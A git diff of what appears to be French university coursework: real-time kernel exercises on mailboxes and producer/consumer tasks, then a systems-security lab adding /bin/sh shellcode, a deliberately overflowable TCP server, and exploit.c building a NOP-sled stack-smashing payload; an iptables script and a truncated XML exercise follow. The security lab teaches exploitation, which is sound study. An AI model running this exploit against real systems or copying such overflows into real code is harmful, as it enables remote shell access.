+#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 + +#define PT1 3 +#define PT2 3 +#define PT3 3 +#define PTK 4 + +#define BL1 1 +#define TBL1 1 +#define TOBL1 0 +#define BL2 2 +#define TBL2 1 +#define TOBL2 0 +#define BL3 3 +#define TBL3 1 +#define TOBL3 0 + +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F4,ON,&car); + if(car == ESC) RetDos(); + } +} +/*-------------------------------------------------------------------*/ +Tache1(void) +{ +Word null; +while(1) + { + Receive(BL1,&null,TOBL1); + EcrTexte(F1,"T11111\n"); + Tempo(10); + EffaceFen(F1); + Send(BL2,0); + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +Word null; +while(1) + { + Receive(BL2,&null,TOBL2); + EcrTexte(F2,"T22222\n"); + Tempo(10); + EffaceFen(F2); + Send(BL3,0); + } +} +/*-------------------------------------------------------------------*/ +Tache3(void) +{ +Word null; +while(1) + { + Receive(BL3,&null,TOBL3); + EcrTexte(F3,"T33333\n"); + Tempo(10); + EffaceFen(F3); + Send(BL1,0); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6a : COMMUNICATION PAR BOITES A LETTRES"); +F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); +F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); +F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); +F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); + +InitNoyau(); + +InitMailBox(BL1,TBL1); +InitMailBox(BL2,TBL2); +InitMailBox(BL3,TBL3); + +CreateTask(TK,PTK,TKill); +CreateTask(T1,PT1,Tache1); +CreateTask(T2,PT2,Tache2); +CreateTask(T3,PT3,Tache3); + +StartTask(TK); +StartTask(T1); +StartTask(T2); +StartTask(T3); + +/* Pour une solution avec une seule BAL, cf ex6a-bis.c */ + + +/* Amorcage */ +Send(BL1,0); + +while(1) + { + EcrCar(F4,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex6b.c b/RealTime/ex6b.c new file mode 100755 index 0000000..aecba7f --- /dev/null +++ b/RealTime/ex6b.c @@ -0,0 +1,142 @@ +/************************************************************************/ +/* EX6b.C : Communication par Boîtes à Lettres */ +/************************************************************************/ +/* Fonction : */ +/* Cet exercice est la prolongation de l'exercice 6a. */ +/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ +/* T1,T2,T3. */ +/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiii". Le */ +/* message reste affiché pendant environ une seconde, puis la fenêtre */ +/* est effacée. La tâche suivante prend alors la main. */ +/* Comme dans la plupart des exercices, une tâche TKill, permet */ +/* par la frappe de Escape de revenir au DOS. */ +/* Ce qui est nouveau, c'est qu'un cycle T1,T2,T3 est déclenché */ +/* par la frappe d'une touche autre que Escape. */ +/* UNE TOUCHE <=> UN CYCLE T1,T2,T3. */ +/* La frappe d'une touche est sans effet tant que le cycle T1,T2,T3 */ +/* n'est pas terminé. */ +/* Principe : */ +/* La synchronisation est assurée par boîtes à lettres. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 + +#define PT1 3 +#define PT2 3 +#define PT3 3 +#define PTK 4 + +#define BL1 1 +#define TBL1 1 +#define TOBL1 0 +#define BL2 2 +#define TBL2 1 +#define TOBL2 0 +#define BL3 3 +#define TBL3 1 +#define TOBL3 0 + +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +/* On peut acceder a cette variable globale sans section critique car l'environnememt n'est pas preemptif */ +Char cycle = 1; /*Est-on dans un cycle ?*/ + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F4,OFF,&car); + if(cycle == 0) + { + if(car == ESC) RetDos(); + cycle = 1; + Send(BL1,0); + } + } +} +/*-------------------------------------------------------------------*/ +Tache1(void) +{ +Word null; +while(1) + { + Receive(BL1,&null,TOBL1); + EcrTexte(F1,"T11111\n"); + Tempo(10); + EffaceFen(F1); + Send(BL2,0); + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +Word null; +while(1) + { + Receive(BL2,&null,TOBL2); + EcrTexte(F2,"T22222\n"); + Tempo(10); + EffaceFen(F2); + Send(BL3,0); + } +} +/*-------------------------------------------------------------------*/ +Tache3(void) +{ +Word null; +while(1) + { + Receive(BL3,&null,TOBL3); + EcrTexte(F3,"T33333\n"); + Tempo(10); + EffaceFen(F3); + /*On n'envoie pas de message a T1*/ + cycle = 0; + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6b : COMMUNICATION PAR BOITES A LETTRES"); +F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); +F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); +F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); +F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); + +InitNoyau(); + +InitMailBox(BL1,TBL1); +InitMailBox(BL2,TBL2); +InitMailBox(BL3,TBL3); + +CreateTask(TK,PTK,TKill); +CreateTask(T1,PT1,Tache1); +CreateTask(T2,PT2,Tache2); +CreateTask(T3,PT3,Tache3); + +StartTask(TK); +StartTask(T1); +StartTask(T2); +StartTask(T3); + +Send(BL1,0); + +while(1) + { + EcrCar(F4,'&'); + Tempo(2); + } +} + diff --git a/RealTime/ex7.c b/RealTime/ex7.c new file mode 100755 index 0000000..175e6e3 --- /dev/null +++ b/RealTime/ex7.c @@ -0,0 +1,129 @@ +/************************************************************************/ +/* EX7.C IMPRIMANTE FICTIVE (mode caractère) */ +/************************************************************************/ +/* Fonction : */ +/* Une tâche productrice lit des caractères au clavier et les */ +/* transmet à une tâche consommatrice (à travers un buffer circulaire */ +/* commun) qui affiche ces caractères à vitesse lente (environ 2 carac-*/ +/* tères par seconde). Pour obtenir cette vitesse, la tâche consomma- */ +/* teur se "suspend" pendant environ 0.5 seconde (DelayTask(10) ) */ +/* */ +/************************************************************************/ +#include +#include +#include + +#define TP 1 /* Tâche Producteur */ +#define TC 2 /* Tâche Consommateur */ + +#define PTP 3 +#define PTC 4 + +#define TAILLE 5 /* Taille du buffer */ +#define ESC 0x1b + + +Word F0,F1,F2,F3,F4,F5; + +#include "tempo.c" + +Char Buffer[TAILLE]; + +Char posP = 0; +Char posC = 0; +Char ecriture = 0; + + + + + +/*------------------------------------------------------------------*/ +TacheProducteur(void) +{ +Char car; +while(1) + { + /* Lecture d'un caractere */ + LireCar(F1,ON,&car); + if(car == ESC) RetDos(); + + /* Entree en section critique ? */ + if (posP == posC) + { + while (ecriture == 1) + { + /* On attend */ + EcrTexte(F4, "BUFFER PLEIN"); + DelayTask(1); + EffaceFen(F4); + } + } + + /* Debut de la section critique (pas d'appel systeme) */ + Buffer[posP] = car; + posP++; + if (posP == TAILLE) posP = 0; + ecriture = 1; + /* Fin de la section critique */ + + } +} +/*------------------------------------------------------------------*/ +TacheConsommateur(void) +{ +Char car; +while(1) + { + + /* Entree en section critique ? */ + if (posP == posC) + { + while (ecriture == 0) + { + /* On attend */ + EcrTexte(F3, "Buffer vide"); + DelayTask(1); + EffaceFen(F3); + } + } + + /* Debut de la section critique (pas d'appel systeme) */ + car = Buffer[posC]; + posC++; + if (posC == TAILLE) posC = 0; + ecriture = 0; + /* Fin de la section critique */ + + EcrCar(F2,car); + DelayTask(10); + } +} +/*------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0= OuvreFen( 0, 0,79,24,noir,blanc,"EXERCICE 7 : IMPRIMANTE FICTIVE (caractère + petit buffer)"); +F1= OuvreFen( 2, 1,77, 8,bleu,blanc,"TACHE PRODUCTRICE (clavier)"); +F2= OuvreFen( 2, 8,77,15,vert,blanc,"TACHE CONSOMMATEUR (imprimante)"); +F3= OuvreFen( 2,16,22,19,magenta, blanc,"ATTENTION"); +F4= OuvreFen(57,16,77,19,blanc,rouge,"ATTENTION"); +F5= OuvreFen( 2,20,77,23,cyan,blanc,"TACHE MAIN"); + +EcrTexte(F3,"Buffer Vide"); + + +InitNoyau(); + + +CreateTask(TP,PTP,TacheProducteur); +CreateTask(TC,PTC,TacheConsommateur); + +StartTask(TC); +StartTask(TP); + +while(1) + { + EcrCar(F5,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex7a.c b/RealTime/ex7a.c new file mode 100755 index 0000000..eb4dfd3 --- /dev/null +++ b/RealTime/ex7a.c @@ -0,0 +1,142 @@ +/************************************************************************/ +/* EX7A.C IMPRIMANTE FICTIVE (mode ligne) */ +/************************************************************************/ +/* Fonction : */ +/* Une tache productrice lit des lignes de caractères terminées */ +/* par un RC. Dés qu'une ligne a été saisie elle le signale à une */ +/* tâche de consommation qui affiche les caractères à vitesse lente. */ +/* Cette vitesse, 2 caractères par secondes, est contrôlée par Tempo(5)*/ +/* ou DelayTask(10). */ +/* Le passage se fait à travers un buffer circulaire commun. */ +/* La taille du buffer circulaire est sur dimensionnée : on ne se */ +/* pose pas le problème d'un éventuel débordement du buffer. */ +/************************************************************************/ +#include +#include +#include + +#define TP 1 /* Tâche Producteur */ +#define TC 2 /* Tâche Consommateur */ + +#define PTP 3 +#define PTC 4 + + +#define MB 1 +#define MB_LEN 16 + +#define TAILLE 100 /* Taille du buffer */ +#define ESC 0x1b + + + +Word F0,F1,F2,F3,F4,F5; + +#include "tempo.c" + +Char Buffer[TAILLE]; + +Char posP = 0; +Char posC = 0; +Char ecriture = 0; + + + + + +/*------------------------------------------------------------------*/ +TacheProducteur(void) +{ +Char car; +Int numChar = 0; +while(1) + { + /* Lecture d'un caractere */ + LireCar(F1,ON,&car); + + if(car == ESC) RetDos(); + + if (car == '\r') + { + Send(MB, numChar); + numChar = 0; + } + else + { + /* Entree en section critique ? */ + if (posP == posC && ecriture == 1) + { + /* Buffer plein, on oublie le caractere */ + EcrTexte(F5, "\nBUFFER PLEIN"); + } + else + { + /* Debut de la section critique (pas d'appel systeme) */ + Buffer[posP] = car; + posP++; + if (posP == TAILLE) posP = 0; + ecriture = 1; + ++numChar; + /* Fin de la section critique */ + } + } + } +} +/*------------------------------------------------------------------*/ +TacheConsommateur(void) +{ +Char car; +Int numChar; +while(1) + { + + /* Attente de fin de ligne */ + Receive(MB, &numChar, 0); + + /* Le buffer va etre desempli */ + EffaceFen(F5); + + while (numChar --) + { + car = Buffer[posC]; + posC++; + if (posC == TAILLE) posC = 0; + ecriture = 0; + + EcrCar(F2,car); + DelayTask(10); + } + EcrCar(F2, '\r'); + } +} + + +/*------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0= OuvreFen( 0, 0,79,24,noir,blanc,"EXERCICE 7A : IMPRIMANTE FICTIVE (ligne + grand buffer)"); +F1= OuvreFen( 2, 1,77, 8,bleu,blanc,"TACHE PRODUCTRICE (clavier)"); +F2= OuvreFen( 2, 8,77,15,vert,blanc,"TACHE CONSOMMATEUR (imprimante)"); +F3= OuvreFen( 2,20,77,23,cyan,blanc,"TACHE MAIN"); +F4= OuvreFen( 2,16,22,19,magenta, blanc,"ATTENTION"); +F5= OuvreFen(57,16,77,19,blanc,rouge,"ATTENTION"); + +InitNoyau(); +CreateTask(TP,PTP,TacheProducteur); +CreateTask(TC,PTC,TacheConsommateur); + + +InitMailBox(MB, MB_LEN); + +EnterRegion(); +StartTask(TP); +StartTask(TC); +LeaveRegion(); + +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex8.c b/RealTime/ex8.c new file mode 100755 index 0000000..7889a02 --- /dev/null +++ b/RealTime/ex8.c @@ -0,0 +1,185 @@ +/************************************************************************/ +/* EX8.C RESSOURCES MULTIPLES */ +/************************************************************************/ +/* Fonction : */ +/* N tâches utilisent M ressources identiques (M < N). */ +/* Lorsque une tâche demande une ressource, la première ressource */ +/* disponible lui est attribuée. Si aucune ressource n'est */ +/* disponible alors la tâche est suspendue. */ +/* Principe : */ +/* Les ressources sont constituées par des fenêtres. */ +/* Une tâche ayant obtenu une ressource y affiche son message puis */ +/* libère la ressource. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define T4 4 +#define T5 5 +#define T6 6 + +#define TK 7 + +#define PT 1 +#define PTK 3 + +#define MB 1 +#define RES 3 /* nombre de ressources*/ + +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +Char res[RES]; + +#include "tempo.c" +/*--------------------------------------------------------------------*/ +TKill(void) +{ +Char car; +while (1) + { + LireCar(F4, OFF, &car); + if (car == ESC) RetDos(); + if (car == ' ') + { + StopTask(T1); + StopTask(T2); + StopTask(T3); + StopTask(T4); + StopTask(T5); + StopTask(T6); + LireCar(F4, OFF, &car); + RetDos(); + } + } +} +/*--------------------------------------------------------------------*/ +Tache1(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); /*Attente d'une ressource*/ + EcrTexte(res[f],"Tache1\r"); + Tempo(5); + Send(MB,f); /*Liberation de la ressource*/ + } +} +/*--------------------------------------------------------------------*/ +Tache2(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); + EcrTexte(res[f],"Tache2\r"); + Tempo(5); + Send(MB,f); + } +} +/*--------------------------------------------------------------------*/ +Tache3(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); + EcrTexte(res[f],"Tache3\r"); + Tempo(5); + Send(MB,f); + } +} +/*--------------------------------------------------------------------*/ +Tache4(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); + EcrTexte(res[f],"Tache4\r"); + Tempo(5); + Send(MB,f); + } +} +/*--------------------------------------------------------------------*/ +Tache5(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); + EcrTexte(res[f],"Tache5\r"); + Tempo(5); + Send(MB,f); + } +} +/*--------------------------------------------------------------------*/ +Tache6(void) +{ +Char f; +while (1) + { + Receive(MB,&f,0); + EcrTexte(res[f],"Tache6\r"); + Tempo(5); + Send(MB,f); + } +} +/*--------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 8 : RESSOURCES MULTIPLES"); +F1 = OuvreFen(20, 1,30,20, rouge,blanc, "Ress1"); +F2 = OuvreFen(35, 1,45,20, bleu, blanc, "Ress2"); +F3 = OuvreFen(50, 1,60,20, vert, blanc, "Ress3"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "MAIN"); + +InitNoyau(); + +/* Temps partage */ +RTClockInit(1); + +CreateTask(T1, PT, Tache1); +CreateTask(T2, PT, Tache2); +CreateTask(T3, PT, Tache3); +CreateTask(T4, PT, Tache4); +CreateTask(T5, PT, Tache5); +CreateTask(T6, PT, Tache6); +CreateTask(TK, PTK, TKill); + +InitMailBox(MB,RES); + +/* Les ressources */ +res[0] = F1; +res[1] = F2; +res[2] = F3; + +/* Mise a disposition des ressources */ +Send(MB,0); +Send(MB,1); +Send(MB,2); + +EnterRegion(); +StartTask(TK); +StartTask(T1); +StartTask(T2); +StartTask(T3); +StartTask(T4); +StartTask(T5); +StartTask(T6); +LeaveRegion(); + + +while(1) + { + EcrCar(F4,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex9.c b/RealTime/ex9.c new file mode 100755 index 0000000..554c0c3 --- /dev/null +++ b/RealTime/ex9.c @@ -0,0 +1,95 @@ +/************************************************************************/ +/* EX9.C TACHE CYCLIQUE */ +/************************************************************************/ +/* Fonction : */ +/* Une tâche TacheCyclique devant exécuter un traitement périodique */ +/* est mise en exécution cycliquement. */ +/* Principe: */ +/* Une tâche BaseDeTemps signale régulièrement un événement à la */ +/* tâche TacheCyclique. */ +/* La tâche TacheCyclique se met en attente de cet événement, */ +/* puis fait son traîtement, puis attend à nouveau l'événement ... */ +/* L'avantage est qu'ici la périodicité du traitement ne dépend */ +/* pas de la durée de celui-ci. */ +/************************************************************************/ +#include +#include +#include + +#define TC 1 /* TacheCyclique */ +#define TBDT 2 /* BaseDeTemps */ +#define TK 3 /* TKill */ + +#define PTC 4 /* Priorité TacheCyclique */ +#define PBDT 5 /* Priorité BaseDeTemps */ +#define PTK 3 /* Priorité TKill */ + +#define EVT 0 +#define MEVT 1 +#define DELAY 20 + +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*--------------------------------------------------------------------*/ +TKill(void) +{ +while(1) + { + Char car; + LireCar(F1, ON, &car); + if (car == ESC) RetDos(); + } +} +/*--------------------------------------------------------------------*/ +BaseDeTemps(void) +{ +while(1) + { + SignalEvent(TC, EVT); + DelayTask(DELAY); + } +} +/*--------------------------------------------------------------------*/ +TacheCyclique(void) +{ +while(1) + { + Word evt; + WaitEvents(MEVT, 0, &evt); + F2 = OuvreFen(50, 5,70,10, rouge, blanc, "TACHE CYCLIQUE"); + Tempo(5); + FermeFen(F2); + ClearEvents(evt); + } +} +/*--------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24,noir, blanc, "EX9 : TACHE CYCLIQUE"); +F1 = OuvreFen( 5, 5,40,15,bleu, blanc, "TACHE TKill"); +F3 = OuvreFen( 2,20,77,23,cyan, blanc, "TACHE MAIN"); + +InitNoyau(); + +CreateTask(TK, PTK, TKill); +CreateTask(TC, PTC, TacheCyclique); +CreateTask(TBDT, PBDT, BaseDeTemps); + +EnterRegion(); +StartTask(TK); +StartTask(TC); +StartTask(TBDT); +LeaveRegion(); + +/* A compléter */ +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} diff --git a/RealTime/tempo.c b/RealTime/tempo.c new file mode 100755 index 0000000..c26a7a0 --- /dev/null +++ b/RealTime/tempo.c @@ -0,0 +1,25 @@ +/*******************************/ +/* Boucle d'attente logicielle */ +/*******************************/ +void Tempo(unsigned int Duree) +{ +char *ret_getenv; +unsigned int delay; +unsigned long n2; + +ret_getenv=getenv("TEMPO"); +if( ret_getenv[0] == 0 ) + { + printf("LA VARIABLE ENVIRONNEMENT TEMPO N'EST PAS DEFINIE\n\007"); + while(1); + } + +sscanf(ret_getenv,"%d",&delay); + + +while( Duree-- != 0 ) + { + n2=(unsigned long)(delay) << 9; + while( --n2 != 0 ); + } +} diff --git a/TpSecuritéDesSystèmes/BufferOverflow.odg b/TpSecuritéDesSystèmes/BufferOverflow.odg new file mode 100755 index 0000000..781dd65 Binary files /dev/null and b/TpSecuritéDesSystèmes/BufferOverflow.odg differ diff --git a/TpSecuritéDesSystèmes/BufferOverflow.svm b/TpSecuritéDesSystèmes/BufferOverflow.svm new file mode 100755 index 0000000..918e6b7 Binary files /dev/null and b/TpSecuritéDesSystèmes/BufferOverflow.svm differ diff --git a/TpSecuritéDesSystèmes/Makefile b/TpSecuritéDesSystèmes/Makefile new file mode 100755 index 0000000..ab1ad37 --- /dev/null +++ b/TpSecuritéDesSystèmes/Makefile @@ -0,0 +1,17 @@ +all: shellcode test serverbuf exploit + +shellcode: shellcode.S shellcode.c + gcc -Wall -m32 -o $@ $^ + +test: test.c + gcc -Wall -g -m32 -o $@ $^ + +serverbuf: serverbuf.c + gcc -Wall -g -m32 -o $@ $^ + +exploit: exploit.c + gcc -Wall -g -m32 -o $@ $^ + +clean: + rm -f shellcode test + diff --git a/TpSecuritéDesSystèmes/exploit.c b/TpSecuritéDesSystèmes/exploit.c new file mode 100755 index 0000000..aee0130 --- /dev/null +++ b/TpSecuritéDesSystèmes/exploit.c @@ -0,0 +1,47 @@ +#include // for write +#include // for uint32_t +#include // for strlen +#include // for free, calloc +#include // fprintf + +#define BUFFER_SIZE 1024 +#define HELLO_MSG "nice to meet you " + +const char shellcode[] = + "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" + "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" + "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" + "\xff\xff/bin/sh"; + +uint32_t ret = 0xbf85b4e0; + +int main(void) { + size_t hello_size = strlen(HELLO_MSG); + size_t code_size = sizeof(shellcode) - 1; + + fprintf(stderr, "hello_size = %d\n", hello_size); + fprintf(stderr, "code_size = %d\n", code_size); + + size_t bourrage = BUFFER_SIZE - hello_size - code_size + 12; + ret += hello_size + 20; // + + fprintf(stderr, "bourrage = %d\n", bourrage); + fprintf(stderr, "ret = %#x\n", ret); + + char * buffer = malloc(bourrage); + int i; + for (i = 0; i < bourrage; i++) { + buffer[i] = 0x90; // NOP + } + + write(1, buffer, 40); + write(1, shellcode, code_size); + write(1, buffer, bourrage - 40); + + write(1, &ret, sizeof(ret)); + write(1, "\n", 1); + + free(buffer); + + return 0; +} diff --git a/TpSecuritéDesSystèmes/firewall.sh b/TpSecuritéDesSystèmes/firewall.sh new file mode 100755 index 0000000..9acdf60 --- /dev/null +++ b/TpSecuritéDesSystèmes/firewall.sh @@ -0,0 +1,51 @@ +#!/bin/sh + +# +# Original version from the OpenWrt project. +# + +# Interfaces +LAN=eth0 + +## CLEAR TABLES +iptables -t filter -F +iptables -t filter -X + +### INPUT +### (connections with the router as destination) + + # base case + iptables -P INPUT DROP + iptables -A INPUT -m state --state INVALID -j DROP + iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT + iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP + + # allow + iptables -A INPUT -p icmp -j ACCEPT # allow ICMP + iptables -A INPUT -p tcp --sport 22 -j ACCEPT # allow SSH + iptables -A INPUT -p tcp --sport 80 -j ACCEPT # allow HTTP + iptables -A INPUT -p tcp --sport 443 -j ACCEPT # allow HTTPS + + # reject (what to do with anything not allowed earlier) + iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset + iptables -A INPUT -j REJECT --reject-with icmp-port-unreachable + +### OUTPUT +### (connections with the router as source) + + # base case + iptables -P OUTPUT DROP + iptables -A OUTPUT -m state --state INVALID -j DROP + iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT + + # + # insert accept rule here + # + + # allow + iptables -A OUTPUT -j ACCEPT #allow everything out + + # reject (what to do with anything not allowed earlier) + iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset + iptables -A OUTPUT -j REJECT --reject-with icmp-port-unreachable + diff --git a/TpSecuritéDesSystèmes/rapport.odt b/TpSecuritéDesSystèmes/rapport.odt new file mode 100755 index 0000000..95b58a0 Binary files /dev/null and b/TpSecuritéDesSystèmes/rapport.odt differ diff --git a/TpSecuritéDesSystèmes/serverbuf.c b/TpSecuritéDesSystèmes/serverbuf.c new file mode 100755 index 0000000..4db718f --- /dev/null +++ b/TpSecuritéDesSystèmes/serverbuf.c @@ -0,0 +1,110 @@ + +#include +#include +#include +#include + +#include // for strcpy, strlen +#include // for close +#include // for atoi +#include // for errno +#include // for EX_USAGE + +#define BUFFER_SIZE 1024 +#define NAME_SIZE 2048 + +int handling_client(int c) { + char buffer[BUFFER_SIZE], name[NAME_SIZE]; + int bytes; + + // Since the stack base is now randomized, print the address of buffer + printf("buffer = %p\n", buffer); + + strcpy(buffer, "Login : "); + bytes = send(c, buffer, strlen(buffer), 0); + if (bytes == -1) { + perror("send"); + return errno; + } + + bytes = recv(c, name, sizeof(name), 0); + if (bytes == -1) { + perror("recv"); + return errno; + } + + name[bytes - 1] = '\0'; + sprintf(buffer, "nice to meet you %s\n", name); + + bytes = send(c, buffer, strlen(buffer), 0); + if (bytes == -1) { + perror("send"); + return errno; + } + + return 0; +} + +int main(int argc, char *argv[]) { + if (argc != 2) { + fprintf(stderr, "usage: %s port\n", argv[0]); + exit(EX_USAGE); + } + + // Let the father not being disturbed by its childs + signal(SIGCLD, SIG_IGN); + + int sock = socket(PF_INET, SOCK_STREAM, 0); + if (sock == -1) { + perror("socket"); + exit(EXIT_FAILURE); + } + + struct sockaddr_in srv; + srv.sin_addr.s_addr = INADDR_ANY; + srv.sin_port = htons((unsigned short int) atol(argv[1])); + srv.sin_family = AF_INET; + + if (bind(sock, (struct sockaddr *) &srv, sizeof(srv)) == -1) { + perror("bind"); + exit(EXIT_FAILURE); + } + + if (listen(sock, 3) == -1) { + perror("listen"); + exit(EXIT_FAILURE); + } + + for (;;) { + int con = accept(sock, NULL, NULL); + if (con == -1) { + perror("accept"); + exit(EXIT_FAILURE); + } + + pid_t pid = fork(); + if (pid == 0) { + close(sock); + + // The child processes the request + if (handling_client(con) != 0) { + fprintf(stderr, "%s: handling failed", argv[0]); + } + + // The child closes the connection... + close(con); + + // and exits ! + exit(EXIT_SUCCESS); + } else if (pid > 0) { + // The father closes the file descriptor + close(con); + } else { + perror("fork"); + exit(EXIT_FAILURE); + } + } + + return EXIT_SUCCESS; +} + diff --git a/TpSecuritéDesSystèmes/shellcode.S b/TpSecuritéDesSystèmes/shellcode.S new file mode 100755 index 0000000..5470385 --- /dev/null +++ b/TpSecuritéDesSystèmes/shellcode.S @@ -0,0 +1,20 @@ +.globl code_start +.globl code_end + .data +code_start: + jmp 27 + popl %esi + movl %esi,0x8(%esi) /* put address of **argv behind shellcode, + 0x8 bytes behind it so a /bin/sh has place */ + xorl %eax,%eax /* put 0 in %eax */ + movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */ + movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ + movb $0xb,%al /* execve( */ + movl %esi,%ebx /* "/bin/sh", */ + leal 0x8(%esi),%ecx /* & of "/bin/sh", */ + xorl %edx,%edx /* NULL */ + int $0x80 /* ); */ + call -24 + .string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */ +code_end: + diff --git a/TpSecuritéDesSystèmes/shellcode.c b/TpSecuritéDesSystèmes/shellcode.c new file mode 100755 index 0000000..1333fd4 --- /dev/null +++ b/TpSecuritéDesSystèmes/shellcode.c @@ -0,0 +1,25 @@ +#include + +extern void code_start(); +extern void code_end(); + +int main(void) { + printf("Shellcode size = %d oct\n", code_end - code_start); + + char * i = (char *) code_start; + + printf("char * shellcode = { %#hhx ", *i); + i++; + + while (i < (char *) code_end) { + printf(", %#hhx", *i); + i++; + } + + printf("}\n"); + + code_start(); + + return 0; +} + diff --git a/TpSecuritéDesSystèmes/test.c b/TpSecuritéDesSystèmes/test.c new file mode 100755 index 0000000..d83ed1f --- /dev/null +++ b/TpSecuritéDesSystèmes/test.c @@ -0,0 +1,37 @@ +#include + +/* +char shellcode[] = +"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" +"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" +"\x00\x00\x00\x00\x00\x00\x00\x00"; +*/ + +char shellcode[] = + "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" + "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" + "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" + "\xff\xff/bin/sh" + "\x00\x00\x00\x00\x00\x00\x00\x00"; + +void bug(void) { + printf("BUG !\n"); +} + +void test(void) { + void * mark; + + *(&mark + 2) = (void *) shellcode; +} + +void test2() { + fprintf(stderr, "avant\n"); + test(); + fprintf(stderr, "apres\n"); +} + +int main(void) { + test2(); + return 0; +} + diff --git a/TpSecuritéDesSystèmes/testbuf.c b/TpSecuritéDesSystèmes/testbuf.c new file mode 100755 index 0000000..a5f3c4b --- /dev/null +++ b/TpSecuritéDesSystèmes/testbuf.c @@ -0,0 +1,41 @@ +#include +#include // for strcpy, strlen +#include // for close +#include // for atoi +#include // for errno +#include // for EX_USAGE + +#define BUFFER_SIZE 1024 +#define NAME_SIZE 2048 + +int handlingclient(int c) { + char buffer[BUFFER_SIZE], name[NAME_SIZE]; + int bytes; + + strcpy(buffer, "Login : "); + bytes = write(1, buffer, strlen(buffer)); + if (bytes == -1) { + perror("send"); + return errno; + } + + bytes = read(0, name, sizeof(name)); + if (bytes == -1) { + perror("recv"); + return errno; + } + + name[bytes - 1] = '\0'; + sprintf(buffer, "nice to meet you %s\n", name); + + bytes = write(1, buffer, strlen(buffer)); + if (bytes == -1) { + perror("send"); + return errno; + } +} + +int main(int argc, char ** argv) { + return handlingclient(0); +} + diff --git a/TpSecuritéDesSystèmes/énoncé.pdf b/TpSecuritéDesSystèmes/énoncé.pdf new file mode 100755 index 0000000..b6d8a5b Binary files /dev/null and b/TpSecuritéDesSystèmes/énoncé.pdf differ diff --git a/XML/TP1/README b/XML/TP1/README new file mode 100755 index 0000000..d07f540 --- /dev/null +++ b/XML/TP1/README @@ -0,0 +1,8 @@ + XML/TP1 - Liste des fichiers + +bergman.xml : Fichier XML à vérifier et à mettre en forme +minibergman.xml : Version simplifiée du précédent fichier +film.css : La CSS associée aux deux fichiers XML +film.dtd : La DTD qui permet de valider les deux fichiers XML +gen.sh : Quelques commandes qui nous ont été utiles lors de + l'écriture de la DTD diff --git a/XML/TP1/bergman.xml b/XML/TP1/bergman.xml new file mode 100755 index 0000000..980eaec --- /dev/null +++ b/XML/TP1/bergman.xml @@ -0,0 +1,509 @@ + + + + + + [Documentaire] + + [Documentaire] + + A documentary about the amazing life of Leon Theremin, inventor of the theremin, the electronic musical instrument so beloved of 50s sci-fi movie music. Theremin amazed America with his instrument until his kidnapping by Soviet agents in the mid-30s. Upon his release from a labor camp, he worked on surveillance 